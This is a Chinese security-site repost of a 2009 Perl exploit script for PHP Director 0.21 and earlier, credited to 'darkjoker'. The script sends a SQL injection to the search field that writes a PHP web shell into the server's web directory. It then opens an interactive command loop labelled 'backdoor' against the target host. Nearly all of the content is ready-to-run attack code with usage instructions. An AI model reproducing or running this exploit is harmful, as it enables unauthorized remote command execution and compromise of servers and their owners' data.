首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
PHP Director <= 0.21 Remote Command Execution Exploit
来源:http://darkjoker.net23.net 作者:darkjoker 发布时间:2009-02-10  

--+++===================================================================+++--
--+++====== PHP Director <= 0.21 Remote Command Execution Exploit ======+++--
--+++===================================================================+++--

#!/usr/bin/perl

use strict;
use warnings;
use IO::Socket;

sub clear
{
 my $out = $_ [0];
 $out =~ s/.+?xx//;
 $out =~ s/xx.+//;
 return $out;
}

sub usage
{
 print   "\nPHP Director <= 0.21 Remote Command Execution Exploit".
  "\n[+] Author: darkjoker".
  "\n[+] Site  : http://darkjoker.net23.net".
  "\n[+] Download: http://downloads.sourceforge.net/phpdirector/PHPDirector-Install-0.21-.zip?modtime=1181090906&big_mirror=0".
  "\n[+] Usage   : perl ${0} <hostname> <cms path> <shell destination>".
  "\n[+] Ex.     : perl ${0} localhost /PHPDirector /opt/lampp/htdocs/PHPDirector".
  "\n[+] Notes   : <shell destination> must be the same directory where CMS is hosted".
  "\n\n";
 exit ();
}

sub send_shell
{
 my ($host, $path, $disc_path) = @_;
 my $sock = new IO::Socket::INET (
  PeerHost => $host,
  PeerPort => 80,
  Proto    => "tcp",
 ) or die "[-] Exploit failed.\n";
 my $sql_code = "searching=x' UNION SELECT 1,'xx<? system (\$_GET [cmd]); ".
      "?>xx', 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15 INTO ".
      "OUTFILE '${disc_path}/shell.php' FROM pp_files#";
 my $post = "POST ${path}/index.php HTTP/1.1\r\n".
  "Host: ${host}\r\n".
  "Connection: Close\r\n".
  "Content-Length: ". length ($sql_code) . "\r\n".
  "Content-Type: application/x-www-form-urlencoded\r\n\r\n".
  $sql_code;
 print $sock $post;
 close ($sock);
}

my ($host, $path, $disc_path) = @ARGV;
usage unless ($disc_path);
$disc_path = "../"x10 . $disc_path;
send_shell ($host, $path, $disc_path);
print "Delete this shell after use.\n'quit' command to exit\n\n";
my $cmd;
while (1)
{
 print "backdoor\@${host}: \$ ";
 $cmd = <STDIN>;
 chomp $cmd;
 $cmd =~ s/ /%20/g;
 exit if ($cmd =~ /quit/);
 my $sock = new IO::Socket::INET (
  PeerHost => $host,
  PeerPort => 80,
  Proto    => "tcp",
 );
 my $get = "GET ${path}/shell.php?cmd=${cmd}\r\n\r\n";
 print $sock $get;
 my $x;
 $x .= $_ while (<$sock>);
 $x = clear ($x);
 print $x;
 close ($sock);
}


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·FeedDemon <=2.7 OPML Outline T
·Hedgedog-CMS <= 1.21 Remote Co
·w3bcms <= v3.5.0 Multiple Remo
·Squid < 3.1 5 HTTP Version Num
·IF-CMS <= 2.0 (frame.php id) B
·TightVNC Authentication Failur
·Orbit Downloader V2.8.5 Malfor
·Hedgedog CMS version 1.21 remo
·1024 CMS <= 1.4.4 Remote Comma
·Php168 v2008 权限提升漏洞
·Nokia N95-8 browser crashing d
·Simple PHP News version 1.0 Fi
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved